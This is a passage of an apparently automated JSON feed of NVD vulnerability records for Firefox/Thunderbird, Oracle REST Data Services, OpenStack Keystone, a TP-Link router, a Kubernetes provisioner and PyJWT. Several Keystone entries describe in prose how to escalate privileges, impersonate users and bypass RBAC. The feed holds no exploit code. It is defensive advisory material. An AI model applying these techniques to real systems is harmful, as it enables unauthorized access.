Thunderbird 152. This vulnerability was fixed in Firefox 152, Firefox ESR 140.12, Thunderbird 152, and Thunderbird 140.12.","detail":"Memory safety bug fixed in Thunderbird 152. This vulnerability was fixed in Firefox 152, Firefox ESR 140.12, Thunderbird 152, and Thunderbird 140.12.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-06-16T13:16:31.810Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":"mozilla","product":"firefox","stacks":["Mozilla Firefox and Thunderbird","firefox"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-12312","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-12312","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-12312","type":"primary","publishedAt":"2026-06-16T13:16:31.810Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.mozilla.org/security/advisories/mfsa2026-57/","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-12310","cveId":"CVE-2026-12310","aliases":[],"kind":"vulnerability","title":"Memory safety bug fixed in Thunderbird 152.","summary":"Memory safety bug fixed in Thunderbird 152. This vulnerability was fixed in Firefox 152, Firefox ESR 140.12, Thunderbird 152, and Thunderbird 140.12.","detail":"Memory safety bug fixed in Thunderbird 152. This vulnerability was fixed in Firefox 152, Firefox ESR 140.12, Thunderbird 152, and Thunderbird 140.12.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-06-16T13:16:31.380Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":"mozilla","product":"firefox","stacks":["Mozilla Firefox and Thunderbird","firefox"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-12310","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-12310","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-12310","type":"primary","publishedAt":"2026-06-16T13:16:31.380Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.mozilla.org/security/advisories/mfsa2026-57/","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-12298","cveId":"CVE-2026-12298","aliases":[],"kind":"vulnerability","title":"Memory safety bug fixed in Thunderbird 152.","summary":"Memory safety bug fixed in Thunderbird 152. This vulnerability was fixed in Firefox 152, Firefox ESR 140.12, Thunderbird 152, and Thunderbird 140.12.","detail":"Memory safety bug fixed in Thunderbird 152. This vulnerability was fixed in Firefox 152, Firefox ESR 140.12, Thunderbird 152, and Thunderbird 140.12.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-06-16T13:16:30.040Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":"mozilla","product":"firefox","stacks":["Mozilla Firefox and Thunderbird","firefox"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-12298","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-12298","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-12298","type":"primary","publishedAt":"2026-06-16T13:16:30.040Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.mozilla.org/security/advisories/mfsa2026-57/","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-35266","cveId":"CVE-2026-35266","aliases":[],"kind":"vulnerability","title":"Vulnerability in Oracle REST Data Services (component: Core).","summary":"Vulnerability in Oracle REST Data Services (component: Core).  Supported versions that are affected are 24.2.0-26.1.0. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTPS to compromise Oracle REST Data Services.  Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle REST Data Services, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle REST Data Services accessible data as well as  unauthorized access to critical data or complete access to all Oracle REST Data Services accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle REST Data Services. CVSS 3.1 Base Score 7.9 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:L).","detail":"Vulnerability in Oracle REST Data Services (component: Core).  Supported versions that are affected are 24.2.0-26.1.0. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTPS to compromise Oracle REST Data Services.  Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle REST Data Services, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle REST Data Services accessible data as well as  unauthorized access to critical data or complete access to all Oracle REST Data Services accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle REST Data Services. CVSS 3.1 Base Score 7.9 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:L).\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-28T21:16:29.330Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":"oracle","product":"rest data services","stacks":["Oracle","rest data services"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-35266","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-35266","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-35266","type":"primary","publishedAt":"2026-05-28T21:16:29.330Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.oracle.com/security-alerts/cspumay2026.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44394","cveId":"CVE-2026-44394","aliases":[],"kind":"vulnerability","title":"An issue was discovered in OpenStack Keystone before 29.0.2.","summary":"An issue was discovered in OpenStack Keystone before 29.0.2. The Keystone federated token rescoping mechanism does not propagate the original token's expiry to the newly issued token. When a federated user rescopes a token via POST /v3/auth/tokens, the handle_scoped_token() function in the mapped authentication plugin returns response data without an expires_at value. The token provider falls back to issuing a token with a fresh default TTL. By rescoping repeatedly before each token expires, a user can maintain access indefinitely, bypassing operator-configured token lifetime policies. This is a variant of CVE-2012-3426. Only deployments using federated identity (SAML2, OpenID Connect) are affected.","detail":"An issue was discovered in OpenStack Keystone before 29.0.2. The Keystone federated token rescoping mechanism does not propagate the original token's expiry to the newly issued token. When a federated user rescopes a token via POST /v3/auth/tokens, the handle_scoped_token() function in the mapped authentication plugin returns response data without an expires_at value. The token provider falls back to issuing a token with a fresh default TTL. By rescoping repeatedly before each token expires, a user can maintain access indefinitely, bypassing operator-configured token lifetime policies. This is a variant of CVE-2012-3426. Only deployments using federated identity (SAML2, OpenID Connect) are affected.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-28T19:16:38.223Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":"openstack","product":"keystone","stacks":["Openstack","keystone"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44394","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44394","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44394","type":"primary","publishedAt":"2026-05-28T19:16:38.223Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://security.openstack.org/ossa/OSSA-2026-015.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-43000","cveId":"CVE-2026-43000","aliases":[],"kind":"vulnerability","title":"An issue was discovered in OpenStack Keystone before 29.0.2.","summary":"An issue was discovered in OpenStack Keystone before 29.0.2. When combined with an application credential impersonation vulnerability, an attacker with the member role on a project can escalate to admin by chaining unrestricted application credentials with Keystone trusts. The impersonated token carries the victim's identity, which passes the trustor validation check. Keystone then validates the delegated roles against the victim's actual role assignments in the database, not the roles on the requesting token. This allows the attacker to create a trust delegating the victim's admin role to themselves. The trust persists independently, and additional trusts and application credentials can be created to maintain access. All actions are logged under the victim's identity.","detail":"An issue was discovered in OpenStack Keystone before 29.0.2. When combined with an application credential impersonation vulnerability, an attacker with the member role on a project can escalate to admin by chaining unrestricted application credentials with Keystone trusts. The impersonated token carries the victim's identity, which passes the trustor validation check. Keystone then validates the delegated roles against the victim's actual role assignments in the database, not the roles on the requesting token. This allows the attacker to create a trust delegating the victim's admin role to themselves. The trust persists independently, and additional trusts and application credentials can be created to maintain access. All actions are logged under the victim's identity.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-28T19:16:37.773Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":"openstack","product":"keystone","stacks":["Openstack","keystone"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-43000","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-43000","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43000","type":"primary","publishedAt":"2026-05-28T19:16:37.773Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://security.openstack.org/ossa/OSSA-2026-015.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42999","cveId":"CVE-2026-42999","aliases":[],"kind":"vulnerability","title":"An issue was discovered in OpenStack Keystone before 29.0.2.","summary":"An issue was discovered in OpenStack Keystone before 29.0.2. The Keystone RBAC policy enforcer in enforce_call unconditionally merges the raw JSON request body into the policy enforcement dictionary via policy_dict.update(json_input.copy()), overwriting trusted target data that was previously set from database lookups. Because flask.request.get_json is called with force=True, this works regardless of Content-Type or HTTP method. Any authenticated user can inject arbitrary policy target attributes (e.g., user_id, project_id) into the request body to bypass RBAC checks and perform unauthorized operations on resources belonging to other users or projects. This was introduced in commit 5ea59f52 (Rocky/14.0.0).","detail":"An issue was discovered in OpenStack Keystone before 29.0.2. The Keystone RBAC policy enforcer in enforce_call unconditionally merges the raw JSON request body into the policy enforcement dictionary via policy_dict.update(json_input.copy()), overwriting trusted target data that was previously set from database lookups. Because flask.request.get_json is called with force=True, this works regardless of Content-Type or HTTP method. Any authenticated user can inject arbitrary policy target attributes (e.g., user_id, project_id) into the request body to bypass RBAC checks and perform unauthorized operations on resources belonging to other users or projects. This was introduced in commit 5ea59f52 (Rocky/14.0.0).\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-28T19:16:37.630Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":"openstack","product":"keystone","stacks":["Openstack","keystone"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42999","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42999","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42999","type":"primary","publishedAt":"2026-05-28T19:16:37.630Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://security.openstack.org/ossa/OSSA-2026-015.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42998","cveId":"CVE-2026-42998","aliases":[],"kind":"vulnerability","title":"An issue was discovered in OpenStack Keystone before 29.0.2.","summary":"An issue was discovered in OpenStack Keystone before 29.0.2. The Keystone application credential authentication plugin does not verify that the user supplied in the authentication request matches the owner of the application credential. An attacker can authenticate with their own application credential ID and secret while specifying a different user's name and domain in the request body. Keystone issues a token attributed to the victim user. The impersonated token is project-scoped and carries the intersection of the application credential's roles and the victim's actual roles on the project. This enables audit evasion, reading the victim's credentials, and acting as the victim within shared projects.","detail":"An issue was discovered in OpenStack Keystone before 29.0.2. The Keystone application credential authentication plugin does not verify that the user supplied in the authentication request matches the owner of the application credential. An attacker can authenticate with their own application credential ID and secret while specifying a different user's name and domain in the request body. Keystone issues a token attributed to the victim user. The impersonated token is project-scoped and carries the intersection of the application credential's roles and the victim's actual roles on the project. This enables audit evasion, reading the victim's credentials, and acting as the victim within shared projects.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-28T19:16:37.483Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":"openstack","product":"keystone","stacks":["Openstack","keystone"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42998","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42998","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42998","type":"primary","publishedAt":"2026-05-28T19:16:37.483Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://security.openstack.org/ossa/OSSA-2026-015.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8697","cveId":"CVE-2026-8697","aliases":[],"kind":"vulnerability","title":"Due to improper enforcement of authentication rate-limiting on a debug SSH service in Archer C64 v1, the SSH service allows unlimited authentication attempts and uses the same...","summary":"Due to improper enforcement of authentication rate-limiting on a debug SSH service in Archer C64 v1, the SSH service allows unlimited authentication attempts and uses the same credentials as the web interface.  This enables an attacker to brute-force valid credentials via SSH.\n\nSuccessful exploitation could allow an attacker with adjacent network access to obtain administrative credentials through unrestricted authentication attempts and subsequently gain full administrative access to the device, impacting system confidentiality, integrity, and availability.","detail":"Due to improper enforcement of authentication rate-limiting on a debug SSH service in Archer C64 v1, the SSH service allows unlimited authentication attempts and uses the same credentials as the web interface.  This enables an attacker to brute-force valid credentials via SSH.\n\nSuccessful exploitation could allow an attacker with adjacent network access to obtain administrative credentials through unrestricted authentication attempts and subsequently gain full administrative access to the device, impacting system confidentiality, integrity, and availability.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-28T17:16:33.657Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":"tp-link","product":"archer c64 firmware","stacks":["TP-Link","archer c64 firmware"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8697","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8697","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8697","type":"primary","publishedAt":"2026-05-28T17:16:33.657Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.tp-link.com/us/support/faq/5105/","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44543","cveId":"CVE-2026-44543","aliases":[],"kind":"vulnerability","title":"Local Path Provisioner provides a way for the Kubernetes users to utilize the local storage in each node.","summary":"Local Path Provisioner provides a way for the Kubernetes users to utilize the local storage in each node. Prior to 0.0.36, a malicious user with permission to edit the local-path-config ConfigMap in the local-path-storage namespace can manipulate the helperPod.yaml template used by rancher/local-path-provisioner. The helperPod.yaml template is loaded by the provisioner and used to create HelperPods during PVC provisioning and cleanup operations. However, the template is not sufficiently validated before use. Security-sensitive fields such as securityContext.privileged, hostPath volumes, and Linux capabilities can be injected into the template. When a PVC operation triggers HelperPod creation, the provisioner creates the HelperPod using the attacker-controlled template. This can result in a privileged pod running on the target node with the host root filesystem mounted. This may allow the attacker to access sensitive host files, read ServiceAccount tokens from other pods on the same node, access other tenants' local-path volume data, or modify files on the host node. This vulnerability is fixed in 0.0.36.","detail":"Local Path Provisioner provides a way for the Kubernetes users to utilize the local storage in each node. Prior to 0.0.36, a malicious user with permission to edit the local-path-config ConfigMap in the local-path-storage namespace can manipulate the helperPod.yaml template used by rancher/local-path-provisioner. The helperPod.yaml template is loaded by the provisioner and used to create HelperPods during PVC provisioning and cleanup operations. However, the template is not sufficiently validated before use. Security-sensitive fields such as securityContext.privileged, hostPath volumes, and Linux capabilities can be injected into the template. When a PVC operation triggers HelperPod creation, the provisioner creates the HelperPod using the attacker-controlled template. This can result in a privileged pod running on the target node with the host root filesystem mounted. This may allow the attacker to access sensitive host files, read ServiceAccount tokens from other pods on the same node, access other tenants' local-path volume data, or modify files on the host node. This vulnerability is fixed in 0.0.36.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-28T17:16:30.967Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":"suse","product":"local path provisioner","stacks":["Kubernetes","local path provisioner"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44543","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44543","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44543","type":"primary","publishedAt":"2026-05-28T17:16:30.967Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/rancher/local-path-provisioner/security/advisories/GHSA-7fxv-8wr2-mfc4","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-48526","cveId":"CVE-2026-48526","aliases":[],"kind":"vulnerability","title":"PyJWT is a JSON Web Token implementation in Python.","summary":"PyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, when the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm. This vulnerability is fixed in 2.13.0.","detail":"PyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, when the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm. This vulnerability is fixed in 2.13.0.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-28T16:16:29.657Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":"pyjwt project","product":"pyjwt","stacks":["Python","pyjwt"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-48526","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-48526","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-48526","type":"primary","publishedAt":"2026-05-28T16:16:29.657Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/jpadilla/pyjwt/security/advisories/GHSA-xgmm-8j9v-c9wx","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE 